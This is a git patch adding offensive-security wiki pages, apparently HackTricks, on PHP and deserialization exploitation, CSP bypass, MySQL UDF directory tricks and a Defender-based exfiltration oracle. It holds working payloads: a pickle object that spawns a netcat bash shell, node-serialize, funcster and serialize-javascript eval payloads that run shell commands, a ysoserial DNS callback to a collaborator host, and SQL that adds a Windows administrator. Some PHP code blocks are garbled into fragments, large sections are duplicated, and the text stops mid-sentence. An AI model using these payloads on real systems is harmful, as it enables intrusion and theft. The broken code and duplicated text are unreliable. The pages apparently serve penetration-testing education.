From 85fa2a0dee8dc487e0141e5186f561b39f8a64e5 Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Sat, 30 Aug 2025 12:47:45 +0000 Subject: [PATCH 1/2] =?UTF-8?q?Add=20content=20from:=20The=20Art=20of=20PH?= =?UTF-8?q?P:=20CTF=E2=80=91born=20exploits=20and=20techniques?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Remove searchindex.js (auto-generated file) --- .../pentesting-mysql.md | 12 + ...object-creation-new-usd_get-a-usd_get-b.md | 33 +- .../README.md | 22 + src/pentesting-web/deserialization/README.md | 493 +++++++++++++++++- src/pentesting-web/file-inclusion/README.md | 1 + .../file-inclusion/lfi2rce-via-php-filters.md | 1 + src/pentesting-web/file-upload/README.md | 5 + src/windows-hardening/av-bypass.md | 56 +- 8 files changed, 573 insertions(+), 50 deletions(-) diff --git a/src/network-services-pentesting/pentesting-mysql.md b/src/network-services-pentesting/pentesting-mysql.md index 25723f9ad..b7704bfe3 100644 --- a/src/network-services-pentesting/pentesting-mysql.md +++ b/src/network-services-pentesting/pentesting-mysql.md @@ -289,6 +289,17 @@ SELECT sys_exec("net user npn npn12345678 /add"); SELECT sys_exec("net localgroup Administrators npn /add"); ``` +#### Windows tip: create directories with NTFS ADS from SQL + +On NTFS you can coerce directory creation using an alternate data stream even when only a file write primitive exists. If the classic UDF chain expects a `plugin` directory but it doesn’t exist and `@@plugin_dir` is unknown or locked down, you can create it first with `::$INDEX_ALLOCATION`: + +```sql +SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION'; +-- After this, `C:\\MySQL\\lib\\plugin` exists as a directory +``` + +This turns limited `SELECT ... INTO OUTFILE` into a more complete primitive on Windows stacks by bootstrapping the folder structure needed for UDF drops. + ### Extracting MySQL credentials from files Inside _/etc/mysql/debian.cnf_ you can find the **plain-text password** of the user **debian-sys-maint** @@ -749,6 +760,7 @@ john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist - [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) - [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540) - [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server) +- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md index 278569b33..da9ec5748 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md @@ -1,4 +1,4 @@ -# PHP - RCE abusing object creation: new $\_GET\["a"]\($\_GET\["b"]) +# PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"]) {{#include ../../../banners/hacktricks-training.md}} @@ -97,11 +97,34 @@ It's noted that PHP temporarily stores uploaded files in `/tmp/phpXXXXXX`. The V A method described in the [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) involves uploading files that trigger a server crash before deletion. By brute-forcing the name of the temporary file, it becomes possible for Imagick to execute arbitrary PHP code. However, this technique was found to be effective only in an outdated version of ImageMagick. +## Format-string in class-name resolution (PHP 7.0.0 Bug #71105) + +When user input controls the class name (e.g., `new $_GET['model']()`), PHP 7.0.0 introduced a transient bug during the `Throwable` refactor where the engine mistakenly treated the class name as a printf format string during resolution. This enables classic printf-style primitives inside PHP: leaks with `%p`, write-count control with width specifiers, and arbitrary writes with `%n` against in-process pointers (for example, GOT entries on ELF builds). + +Minimal repro vulnerable pattern: + +```php +d%$n` to land the partial overwrite. + ## References - [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) +- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) -{{#include ../../../banners/hacktricks-training.md}} - - - +{{#include ../../../banners/hacktricks-training.md}} \ No newline at end of file diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md index 1103d2624..ea004eef0 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md @@ -693,6 +693,27 @@ Then, the technique consists basically in **filling the response buffer with war Idea from [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points). +### Kill CSP via max_input_vars (headers already sent) + +Because headers must be sent before any output, warnings emitted by PHP can invalidate later `header()` calls. If user input exceeds `max_input_vars`, PHP throws a startup warning first; any subsequent `header('Content-Security-Policy: ...')` will fail with “headers already sent”, effectively disabling CSP and allowing otherwise-blocked reflective XSS. + +```php +" + +# Exceed max_input_vars to force warnings before header() → CSP stripped +curl -i "http://orange.local/?xss=&A=1&A=2&...&A=1000" +# Warning: PHP Request Startup: Input variables exceeded 1000 ... +# Warning: Cannot modify header information - headers already sent +``` + ### Rewrite Error Page From [**this writeup**](https://blog.ssrf.kr/69) it looks like it was possible to bypass a CSP protection by loading an error page (potentially without CSP) and rewriting its content. @@ -837,6 +858,7 @@ navigator.credentials.store( - [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/) - [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/) - [https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket](https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket) +- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) ​ diff --git a/src/pentesting-web/deserialization/README.md b/src/pentesting-web/deserialization/README.md index 03ddc8fc8..08b02f21f 100644 --- a/src/pentesting-web/deserialization/README.md +++ b/src/pentesting-web/deserialization/README.md @@ -178,6 +178,211 @@ As soon as the admin viewed the entry, the object was instantiated and `SomeClas --- +# Deserialization + + + +## Basic Information + +**Serialization** is understood as the method of converting an object into a format that can be preserved, with the intent of either storing the object or transmitting it as part of a communication process. This technique is commonly employed to ensure that the object can be recreated at a later time, maintaining its structure and state. + +**Deserialization**, conversely, is the process that counteracts serialization. It involves taking data that has been structured in a specific format and reconstructing it back into an object. + +Deserialization can be dangerous because it potentially **allows attackers to manipulate the serialized data to execute harmful code** or cause unexpected behavior in the application during the object reconstruction process. + +## PHP + +In PHP, specific magic methods are utilized during the serialization and deserialization processes: + +- `__sleep`: Invoked when an object is being serialized. This method should return an array of the names of all properties of the object that should be serialized. It's commonly used to commit pending data or perform similar cleanup tasks. +- `__wakeup`: Called when an object is being deserialized. It's used to reestablish any database connections that may have been lost during serialization and perform other reinitialization tasks. +- `__unserialize`: This method is called instead of `__wakeup` (if it exists) when an object is being deserialized. It gives more control over the deserialization process compared to `__wakeup`. +- `__destruct`: This method is called when an object is about to be destroyed or when the script ends. It's typically used for cleanup tasks, like closing file handles or database connections. +- `__toString`: This method allows an object to be treated as a string. It can be used for reading a file or other tasks based on the function calls within it, effectively providing a textual representation of the object. + +```php +s.'
'; + } + public function __toString() + { + echo '__toString method called'; + } + public function __construct(){ + echo "__construct method called"; + } + public function __destruct(){ + echo "__destruct method called"; + } + public function __wakeup(){ + echo "__wakeup method called"; + } + public function __sleep(){ + echo "__sleep method called"; + return array("s"); #The "s" makes references to the public attribute + } +} + +$o = new test(); +$o->displaystring(); +$ser=serialize($o); +$unser=unserialize($ser); +$unser->displaystring(); +``` + +If you look to the results you can see that the functions **`__wakeup`** and **`__destruct`** are called when the object is deserialized. Note that in several tutorials you will find that the **`__toString`** function is called when trying yo print some attribute, but apparently that's **not happening anymore**. + +> [!WARNING] +> The method **`__unserialize(array $data)`** is called **instead of `__wakeup()`** if it is implemented in the class. It allows you to unserialize the object by providing the serialized data as an array. You can use this method to unserialize properties and perform any necessary tasks upon deserialization. +> +> ```php +> class MyClass { +> private $property; +> +> public function __unserialize(array $data): void { +> $this->property = $data['property']; +> // Perform any necessary tasks upon deserialization. +> } +> } +> ``` + +You can read an explained **PHP example here**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), here [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) or here [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/) + +### PHP Deserial + Autoload Classes + +You could abuse the PHP autoload functionality to load arbitrary php files and more: + + +{{#ref}} +php-deserialization-+-autoload-classes.md +{{#endref}} + +### Serializing Referenced Values + +If for some reason you want to serialize a value as a **reference to another value serialized** you can: + +```php +param1 =& $o->param22; +$o->param = "PARAM"; +$ser=serialize($o); +``` + +### Preventing PHP Object Injection with `allowed_classes` + +> [!INFO] +> Support for the **second argument** of `unserialize()` (the `$options` array) was added in **PHP 7.0**. On older versions the function only accepts the serialized string, making it impossible to restrict which classes may be instantiated. + +`unserialize()` will **instantiate every class** it finds inside the serialized stream unless told otherwise. Since PHP 7 the behaviour can be restricted with the [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php) option: + +```php +// NEVER DO THIS – full object instantiation +$object = unserialize($userControlledData); + +// SAFER – disable object instantiation completely +$object = unserialize($userControlledData, [ + 'allowed_classes' => false // no classes may be created +]); + +// Granular – only allow a strict white-list of models +$object = unserialize($userControlledData, [ + 'allowed_classes' => [MyModel::class, DateTime::class] +]); +``` + +If **`allowed_classes` is omitted _or_ the code runs on PHP < 7.0**, the call becomes **dangerous** as an attacker can craft a payload that abuses magic methods such as `__wakeup()` or `__destruct()` to achieve Remote Code Execution (RCE). + +#### Real-world example: Everest Forms (WordPress) CVE-2025-52709 + +The WordPress plugin **Everest Forms ≤ 3.2.2** tried to be defensive with a helper wrapper but forgot about legacy PHP versions: + +```php +function evf_maybe_unserialize($data, $options = array()) { + if (is_serialized($data)) { + if (version_compare(PHP_VERSION, '7.1.0', '>=')) { + // SAFE branch (PHP ≥ 7.1) + $options = wp_parse_args($options, array('allowed_classes' => false)); + return @unserialize(trim($data), $options); + } + // DANGEROUS branch (PHP < 7.1) + return @unserialize(trim($data)); + } + return $data; +} +``` + +On servers that still ran **PHP ≤ 7.0** this second branch led to a classic **PHP Object Injection** when an administrator opened a malicious form submission. A minimal exploit payload could look like: + +``` +O:8:"SomeClass":1:{s:8:"property";s:28:"";} +``` + +As soon as the admin viewed the entry, the object was instantiated and `SomeClass::__destruct()` got executed, resulting in arbitrary code execution. + +**Take-aways** +1. Always pass `['allowed_classes' => false]` (or a strict white-list) when calling `unserialize()`. +2. Audit defensive wrappers – they often forget about the legacy PHP branches. +3. Upgrading to **PHP ≥ 7.x** alone is *not* sufficient: the option still needs to be supplied explicitly. + +--- + +### WordPress behaviours: maybe_unserialize() and object smuggling + +WordPress automatically attempts to unserialize any string that “looks serialized” via `maybe_unserialize()`: + +```php +function maybe_unserialize($original) { + if (is_serialized($original)) + return @unserialize($original); + return $original; +} +``` + +Two practical exploitation patterns from large plugin ecosystems: + +- Serialize-then-replace: mutating serialized blobs using string ops (e.g., `str_replace()`) desynchronizes type/length pairs and allows smuggling of unexpected objects. + +```php +// 1) craft payload +$user = 'orange'; +$pass = ';s:8:"password";O:4:"Evil":0:{}s:8:"realname";s:5:"pwned'; +$name = 'Orange Tsai' . str_repeat('..', 25); +$obj = new User($user, $pass, $name); +$data = serialize($obj); + +// 2) developer mutates serialized blob +$data = str_replace("..", "", $data); + +// 3) length corruption → 'password' becomes Evil object on unserialize +print_r(unserialize($data)); +``` + +- Double-prepare SQLi side-effect: calling `$wpdb->prepare()` twice lets format tokens be reinterpreted (restores SQLi). WordPress mitigates by hiding `%` with placeholders that are later restored; if such placeholders travel inside serialized blobs, restoring them can corrupt lengths and lead to unexpected `unserialize()` with POP gadgets (PHPGGC). + +```php +$value = "%1$%s OR 1=1--#"; +$clause = $wpdb->prepare(" AND value = %s", $value); +$query = $wpdb->prepare("SELECT col FROM table WHERE key = %s $clause", $key); +``` + +### Bypassing `__wakeup()` guards + +- Engine quirk: PHP Bug [#72663](https://bugs.php.net/bug.php?id=72663) shows edge cases where `__wakeup()` can be skipped, breaking defenses that moved checks there. +- Reference-based tricks: gadget chains that set dangerous properties by reference so that a defensive `__wakeup()` that nulls properties does not neutralize the actual data used later in `__destruct()`. + +### "Holy Grail" deserialization: memory-level primitives + +Research progressed from early zval forgery to PHP 7 heap primitives and real UAFs (e.g., Bug [#68942](https://bugs.php.net/bug.php?id=68942)), demonstrating that the core should not be treated as a security boundary: once a serialization bug crosses into memory corruption, object injection can be escalated to RCE without application gadgets. + ### PHPGGC (ysoserial for PHP) [**PHPGGC**](https://github.com/ambionics/phpggc) can help you generating payloads to abuse PHP deserializations.\ @@ -272,6 +477,292 @@ test_then() If you want to learn about this technique **take a look to the following tutorial**: +{{#ref}} +nodejs-proto-prototype-pollution/ +{{#endref}} + +### [node-serialize](https://www.npmjs.com/package/node-serialize) + +This library allows to serialise functions. Example: + +```javascript +var y = { + rce: function () { + require("child_process").exec("ls /", function (error, stdout, stderr) { + console.log(stdout) + }) + }, +} +var serialize = require("node-serialize") +var payload_serialized = serialize.serialize(y) +console.log("Serialized: \n" + payload_serialized) +``` + +The **serialised object** will looks like: + +```bash +{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"} +``` + +You can see in the example that when a function is serialized the `_$$ND_FUNC$$_` flag is appended to the serialized object. + +Inside the file `node-serialize/lib/serialize.js` you can find the same flag and how the code is using it. + +![](<../../images/image (351).png>) + +![](<../../images/image (446).png>) + +As you may see in the last chunk of code, **if the flag is found** `eval` is used to deserialize the function, so basically **user input if being used inside the `eval` function**. + +However, **just serialising** a function **won't execute it** as it would be necessary that some part of the code is **calling `y.rce`** in our example and that's highly **unlikable**.\ +Anyway, you could just **modify the serialised object** **adding some parenthesis** in order to auto execute the serialized function when the object is deserialized.\ +In the next chunk of code **notice the last parenthesis** and how the `unserialize` function will automatically execute the code: + +```javascript +var serialize = require("node-serialize") +var test = { + rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()", +} +serialize.unserialize(test) +``` + +As it was previously indicated, this library will get the code after`_$$ND_FUNC$$_` and will **execute it** using `eval`. Therefore, in order to **auto-execute code** you can **delete the function creation** part and the last parenthesis and **just execute a JS oneliner** like in the following example: + +```javascript +var serialize = require("node-serialize") +var test = + "{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}" +serialize.unserialize(test) +``` + +You can [**find here**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **further information** about how to exploit this vulnerability. + +### [funcster](https://www.npmjs.com/package/funcster) + +A noteworthy aspect of **funcster** is the inaccessibility of **standard built-in objects**; they fall outside the accessible scope. This restriction prevents the execution of code that attempts to invoke methods on built-in objects, leading to exceptions such as `"ReferenceError: console is not defined"` when commands like `console.log()` or `require(something)` are used. + +Despite this limitation, restoration of full access to the global context, including all standard built-in objects, is possible through a specific approach. By leveraging the global context directly, one can bypass this restriction. For instance, access can be re-established using the following snippet: + +```javascript +funcster = require("funcster") +//Serialization +var test = funcster.serialize(function () { + return "Hello world!" +}) +console.log(test) // { __js_function: 'function(){return"Hello world!"}' } + +//Deserialization with auto-execution +var desertest1 = { __js_function: 'function(){return "Hello world!}()' } +funcster.deepDeserialize(desertest1) +var desertest2 = { + __js_function: 'this.constructor.constructor("console.log(1111)")()', +} +funcster.deepDeserialize(desertest2) +var desertest3 = { + __js_function: + "this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()", +} +funcster.deepDeserialize(desertest3) +``` + +**For**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.** + +### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript) + +The **serialize-javascript** package is designed exclusively for serialization purposes, lacking any built-in deserialization capabilities. Users are responsible for implementing their own method for deserialization. A direct use of `eval` is suggested by the official example for deserializing serialized data: + +```javascript +function deserialize(serializedJavascript) { + return eval("(" + serializedJavascript + ")") +} +``` + +If this function is used to deserialize objects you can **easily exploit it**: + +```javascript +var serialize = require("serialize-javascript") +//Serialization +var test = serialize(function () { + return "Hello world!" +}) +console.log(test) //function() { return "Hello world!" } + +//Deserialization +var test = + "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()" +deserialize(test) +``` + +**For**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.** + +### Cryo library + +In the following pages you can find information about how to abuse this library to execute arbitrary commands: + +- [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/) +- [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418) + +## Java - HTTP + +In Java, **deserialization callbacks are executed during the process of deserialization**. This execution can be exploited by attackers who craft malicious payloads that trigger these callbacks, leading to potential execution of harmful actions. + +### Fingerprints + +#### White Box + +To identify potential serialization vulnerabilities in the codebase search for: + +- Classes that implement the `Serializable` interface. +- Usage of `java.io.ObjectInputStream`, `readObject`, `readUnshare` functions. + +Pay extra attention to: + +- `XMLDecoder` utilized with parameters defined by external users. +- `XStream`'s `fromXML` method, especially if the XStream version is less than or equal to 1.46, as it is susceptible to serialization issues. +- `ObjectInputStream` coupled with the `readObject` method. +- Implementation of methods such as `readObject`, `readObjectNodData`, `readResolve`, or `readExternal`. +- `ObjectInputStream.readUnshared`. +- General use of `Serializable`. + +#### Black Box + +For black box testing, look for specific **signatures or "Magic Bytes"** that denote java serialized objects (originating from `ObjectInputStream`): + +- Hexadecimal pattern: `AC ED 00 05`. +- Base64 pattern: `rO0`. +- HTTP response headers with `Content-type` set to `application/x-java-serialized-object`. +- Hexadecimal pattern indicating prior compression: `1F 8B 08 00`. +- Base64 pattern indicating prior compression: `H4sIA`. +- Web files with the `.faces` extension and the `faces.ViewState` parameter. Discovering these patterns in a web application should prompt an examination as detailed in the [post about Java JSF ViewState Deserialization](java-jsf-viewstate-.faces-deserialization.md). + +``` +javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s +``` + +### Check if vulnerable + +If you want to **learn about how does a Java Deserialized exploit work** you should take a look to [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), and [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md). + +#### White Box Test + +You can check if there is installed any application with known vulnerabilities. + +```bash +find . -iname "*commons*collection*" +grep -R InvokeTransformer . +``` + +You could try to **check all the libraries** known to be vulnerable and that [**Ysoserial** ](https://github.com/frohoff/ysoserial)can provide an exploit for. Or you could check the libraries indicated on [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\ +You could also use [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) to search for possible gadget chains that can be exploited.\ +When running **gadgetinspector** (after building it) don't care about the tons of warnings/errors that it's going through and let it finish. It will write all the findings under _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Please, notice that **gadgetinspector won't create an exploit and it may indicate false positives**. + +#### Black Box Test + +Using the Burp extension [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) you can identify **which libraries are available** (and even the versions). With this information it could be **easier to choose a payload** to exploit the vulnerability.\ +[**Read this to learn more about GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\ +GadgetProbe is focused on **`ObjectInputStream` deserializations**. + +Using Burp extension [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) you can **identify vulnerable libraries** exploitable with ysoserial and **exploit** them.\ +[**Read this to learn more about Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\ +Java Deserialization Scanner is focused on **`ObjectInputStream`** deserializations. + +You can also use [**Freddy**](https://github.com/nccgroup/freddy) to **detect deserializations** vulnerabilities in **Burp**. This plugin will detect **not only `ObjectInputStream`** related vulnerabilities but **also** vulns from **Json** an **Yml** deserialization libraries. In active mode, it will try to confirm them using sleep or DNS payloads.\ +[**You can find more information about Freddy here.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/) + +**Serialization Test** + +Not all is about checking if any vulnerable library is used by the server. Sometimes you could be able to **change the data inside the serialized object and bypass some checks** (maybe grant you admin privileges inside a webapp).\ +If you find a java serialized object being sent to a web application, **you can use** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **to print in a more human readable format the serialization object that is sent**. Knowing which data are you sending would be easier to modify it and bypass some checks. + +### **Exploit** + +#### **ysoserial** + +The main tool to exploit Java deserializations is [**ysoserial**](https://github.com/frohoff/ysoserial) ([**download here**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). You can also consider using [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) which will allow you to use complex commands (with pipes for example).\ +Note that this tool is **focused** on exploiting **`ObjectInputStream`**.\ +I would **start using the "URLDNS"** payload **before a RCE** payload to test if the injection is possible. Anyway, note that maybe the "URLDNS" payload is not working but other RCE payload is. + +```bash +# PoC to make the application perform a DNS req +java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload +``` + +### **Pickle** + +When the object gets unpickle, the function \_\_\_reduce\_\_\_ will be executed.\ +When exploited, server could return an error. + +```python +import pickle, os, base64 +class P(object): + def __reduce__(self): + return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",)) +print(base64.b64encode(pickle.dumps(P()))) +``` + +Before checking the bypass technique, try using `print(base64.b64encode(pickle.dumps(P(),2)))` to generate an object that is compatible with python2 if you're running python3. + +For more information about escaping from **pickle jails** check: + + +{{#ref}} +../../generic-methodologies-and-resources/python/bypass-python-sandboxes/ +{{#endref}} + +### Yaml **&** jsonpickle + +The following page present the technique to **abuse an unsafe deserialization in yamls** python libraries and finishes with a tool that can be used to generate RCE deserialization payload for **Pickle, PyYAML, jsonpickle and ruamel.yaml**: + + +{{#ref}} +python-yaml-deserialization.md +{{#endref}} + +### Class Pollution (Python Prototype Pollution) + + +{{#ref}} +../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md +{{#endref}} + +## NodeJS + +### JS Magic Functions + +JS **doesn't have "magic" functions** like PHP or Python that are going to be executed just for creating an object. But it has some **functions** that are **frequently used even without directly calling them** such as **`toString`**, **`valueOf`**, **`toJSON`**.\ +If abusing a deserialization you can **compromise these functions to execute other code** (potentially abusing prototype pollutions) you could execute arbitrary code when they are called. + +Another **"magic" way to call a function** without calling it directly is by **compromising an object that is returned by an async function** (promise). Because, if you **transform** that **return object** in another **promise** with a **property** called **"then" of type function**, it will be **executed** just because it's returned by another promise. _Follow_ [_**this link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _for more info._ + +```javascript +// If you can compromise p (returned object) to be a promise +// it will be executed just because it's the return object of an async function: +async function test_resolve() { + const p = new Promise((resolve) => { + console.log("hello") + resolve() + }) + return p +} + +async function test_then() { + const p = new Promise((then) => { + console.log("hello") + return 1 + }) + return p +} + +test_ressolve() +test_then() +//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/ +``` + +### `__proto__` and `prototype` pollution + +If you want to learn about this technique **take a look to the following tutorial**: + + {{#ref}} nodejs-proto-prototype-pollution/ {{#endref}} @@ -732,6 +1223,7 @@ The tool [JMET](https://github.com/matthiaskaiser/jmet) was created to **connect - JMET talk: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA) - Slides: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf) +- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) ## .Net @@ -1148,4 +1640,3 @@ Industrialized gadget discovery: - Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/ {{#include ../../banners/hacktricks-training.md}} - diff --git a/src/pentesting-web/file-inclusion/README.md b/src/pentesting-web/file-inclusion/README.md index 7221852ae..1078dfb9a 100644 --- a/src/pentesting-web/file-inclusion/README.md +++ b/src/pentesting-web/file-inclusion/README.md @@ -753,6 +753,7 @@ _Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._ - [watchTowr – We need to talk about PHP (pearcmd.php gadget)](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) - [Orange Tsai – Confusion Attacks on Apache](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/) - [VTENEXT 25.02 – a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/) +- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) {{#file}} EN-Local-File-Inclusion-1.pdf diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md b/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md index 9e1520284..21a05698d 100644 --- a/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md +++ b/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md @@ -260,6 +260,7 @@ function find_vals($init_val) { ## More References - [https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html) +- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/file-upload/README.md b/src/pentesting-web/file-upload/README.md index 8aad67ab6..065168fd3 100644 --- a/src/pentesting-web/file-upload/README.md +++ b/src/pentesting-web/file-upload/README.md @@ -166,6 +166,10 @@ Note that **another option** you may be thinking of to bypass this check is to m - [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications. +### Corrupting upload indices with snprintf quirks (historical) + +Some legacy upload handlers that use `snprintf()` or similar to build multi-file arrays from a single-file upload can be tricked into forging the `_FILES` structure. Due to inconsistencies and truncation in `snprintf()` behavior, a carefully crafted single upload can appear as multiple indexed files on the server side, confusing logic that assumes a strict shape (e.g., treating it as a multi-file upload and taking unsafe branches). While niche today, this “index corruption” pattern occasionally resurfaces in CTFs and older codebases. + ## From File upload to other vulnerabilities - Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal** @@ -335,5 +339,6 @@ How to avoid file type detections by uploading a valid JSON file even if not all - [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) - [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) - [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html) +- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/av-bypass.md b/src/windows-hardening/av-bypass.md index 4fefb8dc1..1b0f2dc01 100644 --- a/src/windows-hardening/av-bypass.md +++ b/src/windows-hardening/av-bypass.md @@ -356,56 +356,23 @@ autotok.sh Confused.exe # wrapper that performs the 3 steps above sequentially - [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt is a .NET PE Crypter written in Nim - [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor is able to convert existing EXE/DLL into shellcode and then load them -## SmartScreen & MoTW +## AVOracle – Defender emulation side‑channel (exfiltration) -You may have seen this screen when downloading some executables from the internet and executing them. +Windows Defender will emulate files that “look like JavaScript.” If the emulated evaluation produces the EICAR signature string, the file is deleted/quarantined. By crafting mixed content where attacker-controlled JS reads unknown content and conditionally appends to the EICAR string, the deletion becomes a 1‑bit oracle that 